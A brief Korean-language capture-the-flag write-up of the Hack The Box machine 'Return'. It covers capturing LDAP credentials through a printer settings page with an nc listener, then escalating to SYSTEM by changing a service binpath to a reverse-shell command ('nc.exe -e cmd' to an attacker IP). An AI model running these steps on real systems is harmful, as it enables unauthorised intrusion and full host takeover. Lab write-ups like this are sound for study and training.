[HTB] return

 

웹사이트에서 Setting 부분에 저장을 누르면 Server Address 데이터만 전송되는 것을 확인

nc로 포트 리스닝하고 공격자의 IP로 대체시 비밀번호 포함한 데이터 노출 확인 후 접속

 

[계정의 그룹 및 권한 확인]

[SeBackupPrivilege]

SAM 및 SYSTEM 획득하여 Administrator Hash 접속 시도 하였으나 불가

[그룹속성확인]

Print Operators 또는 Server Operators 그룹에 속해있어서 서비스 등록 시도

리버스 쉘 업로드 및 서비스 등록 및 실행

# 리버스쉘 서비스명 VSS를 생성
sc.exe config VSS binpath="C:\Users\svc-printer\Documents\nc.exe -e cmd 10.10.14.29 1234"

[NT AUTHORITY\SYSTEM]

리버스 쉘 whoami 시 시스템계정 확인

 

[종합결론]

서비스 등록 권한이 있는 계정 확보 후 리버스 쉘의 권한 상승 진행